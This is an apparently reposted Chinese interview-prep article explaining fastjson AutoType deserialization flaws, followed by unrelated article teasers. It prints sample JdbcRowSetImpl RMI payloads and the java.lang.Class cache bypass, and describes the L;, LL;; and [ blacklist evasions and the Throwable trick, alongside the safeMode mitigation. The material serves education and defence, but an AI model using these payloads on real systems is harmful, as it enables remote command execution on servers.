你知道fastjson的反序列化漏洞吗?

news2024/12/23 17:39:28

面试回答

当我们使用 fastjson 进行序列化的时候,当一个类中包含了一个接口(或抽象类)的时候,会将子类型抹去,只保留(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么为了解决这个问题,fastjson 引入了 AutoType,即在序列化的时候,把原始类型记录下来。

因为有了 autoType 功能,那么 fastjson 在对 JSON 字符串进行反序列化的时候,就会读取 @type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。

那么这个特性就可能被利用,攻击者自己构造一个 JSON 字符串,并且使用 @type指定一个自己想要使用的攻击类库实现攻击。

举个例子,黑客比较常用的攻击类库时 com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 dataSourceName支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 rmi 远程调用,去指定的 rmi 地址中去调用方法。

而 fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 JdbcRowSetImpldataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个 JSON 串,即可实现远程命令执行(在早期版本中,新版本中 JdbcRowSetImpl 已经被加了黑名单)

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

知识扩展

AutoType

fastjson 的主要功能就是将 Java Bean 序列化成 JSON 字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。

但是,fastjson 序列化以及反序列化的过程中并没有使用 Java 自带的序列化机制,而是自定义了一套机制。

其实,对于 JSON 框架来说,想要把一个 Java 对象转换成字符串,可以有两种选择:

  1. 基于属性
  2. 基于 setter/getter

而我们所常用的 JSON 反序列化框架中,FastJson 和 jackson 在把对象序列化成 json 字符串的时候,是通过遍历出该类的所有 getter 方法进行的。Gson 并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成 json。

假设我们有以下一个 Java 类:

public class Store {
    private String name;
    private Fruit fruit;

    public String getName() {
        return name;
    }

    public Fruit getFruit() {
        return fruit;
    }

    public void setFruit(Fruit fruit) {
        this.fruit = fruit;
    }

    public void setName(String name) {
        this.name = name;
    }

    interface Fruit {
    }


    class Apple implements Fruit{ {
        private BigDecimal price;

        public void setPrice(BigDecimal price) {
            this.price = price;
        }

        public BigDecimal getPrice() {
            return price;
        }
    }
}

 

当我们要对他进行序列化的时候,fastjson 会扫描其中的 getter 方法,即找到 getName 和 getFruit,这时候就会将 name 和 fruit 两个字段的值序列化到 JSON 字符串中。

那么问题来了,我们上面的定义的 Fruit 只是一个接口,序列化的时候 fastjson 能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson 会把这个 fruit 反序列化成什么类型呢?

我们尝试着验证一下,基于(fastjson v 1.2.68)

    public static void main(String[] args) {
        Store store=new Store();
        store.setName("Tango");
        Apple apple=new Apple();
        apple.setPrice(new BigDecimal("0.5"));
        store.setFruit(apple);
        String jsonString= JSON.toJSONString(store);
        System.out.println("jsonString:"+jsonString);
    }

以上代码比较简单,我们创建了一个 store,为他指定了名称,并且创建了一个 Fruit 的子类型 Apple,然后将这个 store 使用 JSON.toJSONString进行序列化,可以得到一下 JSON 内容:

jsonString:{"fruit":{"price":0.5},"name":"Tango"}

那么,这个 fruit 的类型到底是什么呢?能否反序列化成 Apple 呢?我们再来执行以下代码:

    Store newStore=JSON.parseObject(jsonString,Store.class);
    System.out.println("parseObject:"+newStore);
    Apple newApple=(Apple) newStore.getFruit();
    System.out.println("newApple:"+newApple);

执行结果如下:

jsonString:{"fruit":{"price":0.5},"name":"Tango"}
parseObject:Store{name='Tango', fruit=price:0.5}
Exception in thread "main" java.lang.ClassCastException: com.sun.proxy.$Proxy0 cannot be cast to com.chiyi.test.Apple
	at com.chiyi.test.Main.main(Main.java:22)

可以看到,在将 store 反序列化之后,我们尝试将 Fruit 转换成 Apple,但是抛出了异常,尝试直接转换成 Fruit 则不会报错,如:

    Fruit newFruit =newStore.getFruit();
    System.out.println("newFruit:"+newFruit);

以上现象,我们知道,当一个类中包含了一个接口(或抽象类)的时候,在使用 fastjson 进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。

那么有什么办法解决这个问题,fastjson 引入了 AutoType,即在序列化的时候,把原始类型记录下来。

使用方法是通过 SerializerFeature.WriteClassName进行标记,即将上述代码中的

 String jsonString= JSON.toJSONString(store);

修改成:

String jsonString= JSON.toJSONString(store,SerializerFeature.WriteClassName);

即可,以上代码,输出结果如下:

System.out.println("jsonString:"+jsonString);

{
    "@type": "com.chiyi.test.Store",
    "fruit": {
        "@type": "com.chiyi.test.Apple",
        "price": 0.5
    },
    "name": "Tango"
}

可以看到,使用 SerializerFeature.WriteClassName进行标记后,JSON 字符串中多出了一个 @type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

如上,将序列化后的字符串在反序列化,即可以顺利的拿到一个 Apple 类型,整体输出内容:

jsonString:{"@type":"com.chiyi.test.Store","fruit":{"@type":"com.chiyi.test.Apple","price":0.5},"name":"Tango"}
parseObject:Store{name='Tango', fruit=Apple{price=0.5}}
newApple:Apple{price=0.5}

这就是 AutoType,以及 fastjson 中引入 AutoType 的原因。

但是,也正是这个特性,因为在功能设计之初在安全方面考虑得不够周到,也给后续 fastjson 使用者带来了无尽的痛苦。

AutoType 何错之有?

因为有了 autoType 功能,那么 fastjson 在对 JSON 字符串进行反序列化的时候,就会读取 @type到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。

那么就可以利用这个特性,自己构造一个 JSON 字符串,并且使用 @type指定一个自己想要使用的攻击类库。

举个例子,黑客比较常用的攻击类库是 com.sun.rowset.JdbcRowSetImpl,这是 sun 官方提供的一个类库,这个类的 DataSourceName支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 rmi 远程调用,去指定的 rmi 地址中去调用方法。

而 fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 JdbcRowSetImplDataSourceName 中设置了一个想要执行的命令,那么就会导致很严重的后果。

如通过以下方式定一个 JSON串,即可实现远程命令执行(在早期版本中,新版本中 JdbcRowSetImpl已经被加了黑名单 )

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

在早期的 fastjson 版本中(v1.2.25之前),因为 AutoType 是默认开启的,并且也没有什么限制,可以说是裸着的。

从 v1.2.25 开始,fastjson 默认关闭了 autotype 支持,并且加入了 checkAutotype,加入了黑名单+白名单来防御 autotype 开启的情况。

但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。

因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了“如何绕过 checkAutotype”。

下面就来细数以下各版本的 fastjson 中存在的漏洞以及攻击原理,由于篇幅限制,这里并不会讲解的特别细节,如果大家感兴趣我后面可以单独写一篇文章讲讲细节。下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。

绕过 checkAutotype,黑客与 fastjson 的博弈

在 fastjson v1.2.41 之前,在 checkAutotype 的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。

但是在加载的过程中,fastjson 有一段特殊的处理,那就是在具体加载类的时候去掉 className 前后的 L;,形如 Lcom.lang.Thread;

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className != null && className.length() != 0) {
            Class<?> clazz = (Class)mappings.get(className);
            if (clazz != null) {
                return clazz;
            } else if (className.charAt(0) == '[') {
                Class<?> componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            } else if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            } else {
                try {
                    if (classLoader != null) {
                        clazz = classLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var6) {
                    var6.printStackTrace();
                }

                try {
                    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
                    if (contextClassLoader != null && contextClassLoader != classLoader) {
                        clazz = contextClassLoader.loadClass(className);
                        mappings.put(className, clazz);
                        return clazz;
                    }
                } catch (Throwable var5) {
                }

                try {
                    clazz = Class.forName(className);
                    mappings.put(className, clazz);
                    return clazz;
                } catch (Throwable var4) {
                    return clazz;
                }
            }
        } else {
            return null;
        }
    }

而黑白名单又是通过 startsWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上 L;就可以绕过黑白单的检查了,也不耽误被 fastjson 正常加载。

Lcom.sun.rowset.JdbcRowSetImpl;,会先通过白名单校验,然后 fastjson 在加载类的时候去掉前后的 L;变成了 com.sun.rowset.JdbcRowSetImpl

为了避免被攻击,在之后的 v1.2.42 版本中,在进行黑白名单检测的时候,fastjson 先判断目标类的前后是不是 L;,如果是的话,就截取掉前后的 L;,再进行黑白名单的校验。

看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写 LL;;,这样再被截取之后还是可以绕过检测。如 LLcom.sun.rowset.JdbcRowSetImpl;;

魔高一尺,道高一丈。在 v1.2.43 中,fastjson 这次在黑白名单判断之前,增加了一个是否以 LL开头的判断,如果目标类以 LL开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。

黑客在L;这里走不通了,于是想办法从其他地方下手,因为 fastjson 在加载类的时候,不只对 L;这样的类进行特殊处理,还对 [也被特殊处理了。

同样的攻击手段,在目标类前面添加[,v1.2.43 以前的所有版本又沦陷了。

于是,在 v1.2.44 版本中,fastjson 的作者做了更加严格的要求,只要目标类以 [开头或者以 ;结尾,都直接抛异常。也就解决了 v1.2.43 及历史版本中发现的 bug。

在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而 fastjson 也在不断的完善自己的黑名单。

autoType 不开启也能被攻击?

但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在 autoType 关闭的时候才生效。

是不是很奇怪,autoType 不开启反而会被攻击。

因为在 fastjson 中有一个全局缓存,在类加载的时候,如果 autoType 没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。黑客正是利用这个机制进行了攻击。

黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。

首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是 java.lang.Class

java.lang.Class类对应的 deserializerMiscCodec,反序列化时会取 json 串的 val 值并加载这个 val 对应的类。

如果 fastjson cache 为 true,就会缓存这个 val 对应的 class 到全局缓存中。

如果再次加载 val 名称的类,并且 autoType 没开启,下一步就是会尝试从全局缓存中获取这个 class,进而进行攻击。

所以,黑客只需要把攻击类伪装一下就行了,如下格式:

{
    "@type":"java.lang.Class",
    "val":"com.sun.rowset.JdbcRowSetImpl"
}

于是在 v1.2.48 中,fastjson 修复了这个bug,在 MiscCodec中,处理 Class 类的地方,设置了 fastjson cache为 false,这样攻击类就不会被缓存了,也就不会被获取到了。

在之后的多个版本中,黑客与 fastjson 又继续一直都在绕过黑名单、添加黑名单中进行周旋。

知道后来,黑客在 v1.2.68 之前的版本中又发现了一个新的漏洞利用方式。

利用异常进行攻击

在 fastjson 中,如果 @type指定的类为 Throwable 的子类,那对应的反序列化处理类就会使用到 ThrowableDeserializer

而在 ThrowableDeserializer#deserialze 的方法中,当有一个字段的 key 也是 @type时,就会把这个 value 当做类名,然后进行一次 checkAutoType 检测。

并且指定了 expectClass 为 Throwable.class,但是在 checkAutoType 中,有这样一约定,那就是如果指定了 expectClass,那么也会通过校验。

if (clazz != null) {
    if (expectClass.isAssignableFrom(clazz)) {
         TypeUtils.addMapping(typeName,clazz);
         return clazz;
    } 
    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

因为 fastjson 在反序列化的时候会尝试执行里面的 getter 方法,而 Exception 类中都有一个 getMessage 方法。

黑客只需要自定义一个异常,并且重写其 getMessage 就达到了攻击的目的。

这个漏洞就是 6 月份全网疯传的那个“严重漏洞”,使得很多开发者不得不升级到新版本。

这个漏洞在 v1.2.69 中被修复,主要修复方式是对于需要过滤掉的 expectClass进行了修改,新增了 4 个新的类,并且将原来的 Class 类型的判断修改为 hash 的判断。

其实,根据 fastjson 的官方文档介绍,即使不升级到新版,在 v1.2.68 中也可以规避掉这个问题,那就是使用 safeMode。

AutoType 安全模式?

可以看到,这些漏洞的利用几乎都是围绕 AutoType 来的,于是,在 v1.2.68 版本中,引入了 safeMode,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,可以定程序上缓解反序列化 Gadgets 类变种攻击。

设置了 safeMode 后,@type 字段不再生效,即当解析形如 {"@type":"java.lang.Class"}的JSON串时,将不再反序列化出对应的类。

开启 safeMode 方式如下:

    ParserConfig.getGlobalInstance().setSafeMode(true);
    Store store=new Store();
    store.setName("Tango");
    Apple apple=new Apple();
    apple.setPrice(new BigDecimal("0.5"));
    store.setFruit(apple);
    String jsonString= JSON.toJSONString(store,SerializerFeature.WriteClassName);
    System.out.println("jsonString:"+jsonString);

    Store newStore=JSON.parseObject(jsonString,Store.class);
    System.out.println("parseObject:"+newStore);
    Apple newApple = (Apple) newStore.getFruit();
    System.out.println("newApple:"+newApple);

执行代码,会得到以下异常:

jsonString:{"@type":"com.chiyi.test.Store","fruit":{"@type":"com.chiyi.test.Apple","price":0.5},"name":"Tango"}
Exception in thread "main" com.alibaba.fastjson.JSONException: safeMode not support autoType : com.chiyi.test.Apple
	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1244)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:804)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:288)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_Store.deserialze(Unknown Source)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:284)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:688)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:396)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:300)
	at com.alibaba.fastjson.JSON.parseObject(JSON.java:573)
	at com.chiyi.test.Main.main(Main.java:24)

但是值得注意的是,使用这个功能,fastjson 会直接禁用 autoType 功能,即在 checkAutoType 方法中,直接抛出一个异常。

开发者可以将自己项目中使用的 fastjson 升级到最新版,并且如果代码中不需要用到 AutoType 的话,可以考虑使用 safeMode,但是要评估下对历史代码的影响。

因为 fastjson 自己定义了序列化工具类,并且使用 asm 技术避免反射、使用缓存、并且做了很多算法优化等方式,大大提升了序列化及反序列化的效率。

之前有网友对比过:

序列化时间

反序列化时间

大小

压缩后大小

java 序列化

8654

43787

889

541

hessian

6725

10460

501

313

protobuf

2964

1745

239

149

thrift

3177

1949

349

197

avro

3520

1948

221

133

json-lib

45788

149741

485

263

jackson

3052

4161

503

271

fastjson

2595

1472

468

251

当然,快的同时也带来了一些安全性问题,这是不可否认的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/911001.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redis 5环境搭建

一、环境搭建 如果是Centos8&#xff0c;yum 仓库中默认的 Redis版本就是5&#xff0c;直接yum install即可。如果是Centos7&#xff0c;yum 仓库中默认的 Redis版本是3系列&#xff0c;比较老~ 为了我们能在 Centos7中下载到 Redis5 首先要安装额外的软件源 sudo yum insta…

5G与4G的RRC协议之异同

什么是无线资源控制&#xff08;RRC&#xff09;&#xff1f; 我们知道&#xff0c;在移动通信中&#xff0c;无线资源管理是非常重要的一个环节&#xff0c;首先介绍一下什么是无线资源控制&#xff08;RRC&#xff09;。 手机和网络通过无线信道相互通信&#xff0c;彼此交…

战略是设计和孕育出来的?跟孙子兵法很类似

战略设计派&#xff1a;战略是设计和孕育出来的【安志强趣讲264期】 设计派起源于西方1957年 很类似《孙子兵法》的观点 趣讲大白话&#xff1a;战略是谋划出来的 **************************** 设计派是战略管理最先出现的流派 到现在还有影响力 非常有名的SWOT是标志 SWOT现在…

Linux之libreoffice安装

一、libreoffice简介 LibreOffice 是一款开放源代码的自由免费全能办公软件&#xff0c;可运行于 Microsoft Windows, GNU/Linux 以及 macOS 等操作系统上。它包含了 Writer, Calc, Impress, Draw, Math 以及 Base 等组件&#xff0c;可分别用于文本文档、电子表格、幻灯片演示…

直播平台源码搭建协议讲解篇:传输控制协议TCP

简介&#xff1a; 由于直播平台在当今时代发展的越来越迅速&#xff0c;使得直播平台的技术功能越来越智能&#xff0c;让用户在直播平台中能够和其他用户进行实时互动&#xff0c;让用户可以获取到全世界最新的资讯&#xff0c;让一些用户可以作为主播获得工作&#xff0c;让…

第六章:红黑树

系列文章目录 文章目录 系列文章目录前言1、红黑树的介绍1. 红黑树的概念1.2 红黑树的性质 2、红黑树的节点的定义3、红黑树的插入&#xff08;看叔叔的颜色就行&#xff09;3.1 情况一&#xff1a;uncle存在且为红3.2 情况二&#xff1a;uncle不存在/存在且为黑&#xff08;直…

Django基础1——项目实现流程

文章目录 一、前提了解二、准备开发环境2.1 创建项目2.1.1 pycharm创建2.1.2 命令创建 2.2 创建应用 例1&#xff1a;效果实现例2&#xff1a;网页展示日志文件 一、前提了解 基本了解&#xff1a; 官网Django是Python的一个主流Web框架&#xff0c;提供一站式解决方案&#xf…

Android Studio中引入MagicIndicator

1.github中下载文件 GitHub - hackware1993/MagicIndicator: A powerful, customizable and extensible ViewPager indicator framework. As the best alternative of ViewPagerIndicator, TabLayout and PagerSlidingTabStrip —— 强大、可定制、易扩展的 ViewPager 指示器框…

计算机视觉入门 1)卷积分类器

目录 一、卷积分类器&#xff08;The Convolutional Classifer&#xff09;训练分类器 二、【代码示例】汽车卡车图片分类器步骤1. 导入数据步骤2 - 定义预训练模型步骤3 - 连接头部步骤4 - 训练模型 一、卷积分类器&#xff08;The Convolutional Classifer&#xff09; 卷积…

系统架构设计师之NoSQL数据库及其分类

系统架构设计师之NoSQL数据库及其分类

结构型(六) - 组合模式

一、概念 组合模式&#xff08;Composite Pattern&#xff09;&#xff1a;将对象组合成树形结构以表示“部分-整体”的层次结构。组合模式使得用户对单个对象和组合对象的使用具有一致性。 使用场景&#xff1a;组合结构不常用&#xff0c;需要部分与整体的层次关系为树形结…

网络协议详解之STP

目录 一、STP协议&#xff08;生成树&#xff09; 1.1 生成树协议核心知识点&#xff1a; 1.2 生成树协议与导致问题&#xff1a; 生成树含义&#xff1a; 1.3 802.1D 规则&#xff1a; 802.1D 缺点&#xff1a; 1.4 PVST cisco私有 1.5 PVST 1.6 快速生成树 快速的原…

内网穿透软件给企业带来哪些改变?快解析怎么样?

随着科技的发达&#xff0c;使得信息交流变得非常重要。但是企业在使用互联网进行数据传输时面临着一些困境&#xff0c;比如企业内部的服务器无法直接与外部网络进行通信&#xff0c;导致无法远程访问企业内部资源。解决这一问题的有效方法是使用内网穿透软件。下面给大家详细…

组合总和-LeetCode

给你一个无重复元素的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的所有不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序返回这些组合。 candidates 中的同一个数字可以无限制重复被选取 。如果至少一个…

WSL2和本地windows端口互通

众所周知 WSL 默认安装后&#xff0c;只允许windows访问 Windows Subsystem for Linux&#xff0c;而WSL是不能反之访问本地windows。我之前用vmware的思路认为是nat的网络模式&#xff0c;于是改成了桥接&#xff0c;结果wsl的桥接模式被我改的能访问本地&#xff0c;但是却不…

猜数字小游戏python

---------------------------END--------------------------- 题外话 “不是只有程序员才要学编程&#xff1f;&#xff01;” 认真查了一下招聘网站&#xff0c;发现它其实早已变成一项全民的基本技能了。 连国企都纷纷要求大家学Python! 世界飞速发展&#xff0c;互联网…

【0基础入门Python Web笔记】二、python 之逻辑运算和制流程语句

二、python 之逻辑运算和制流程语句 逻辑运算控制流程语句条件语句&#xff08;if语句&#xff09;循环结构&#xff08;for循环、while循环&#xff09;continue、break和pass关键字控制流程语句的嵌套以及elif 更多实战项目可进入下方官网 逻辑运算 Python提供基本的逻辑运算…

【线程池】换个姿势来看线程池中不一样的阻塞队列(一)

前言 本文中无特别说明的话&#xff0c;线程池指的是 java.util.concurrent #ThreadPoolExecutor 本文只探讨线程池中阻塞队列相关&#xff0c;暂时不对线程池的其他方面进行说明&#xff0c;如果对线程池感兴趣的话&#xff0c;接下来几天我会多分享些和线程池相关的知识&…

基于蜻蜓算法优化的BP神经网络(预测应用) - 附代码

基于蜻蜓算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码 文章目录 基于蜻蜓算法优化的BP神经网络&#xff08;预测应用&#xff09; - 附代码1.数据介绍2.蜻蜓优化BP神经网络2.1 BP神经网络参数设置2.2 蜻蜓算法应用 4.测试结果&#xff1a;5.Matlab代码 摘要…

软件测试报告:包含哪些内容?

软件测试报告的内容 软件测试报告通常包括以下内容&#xff1a; 1、项目背景&#xff1a;介绍测试报告的编写目的、测试系统名称、测试环境和用到的专业术语。 2、需求内容&#xff1a;罗列该项目的测试功能点,具体到每个模块功能&#xff0c;以新增的功能和修改的功能为主&…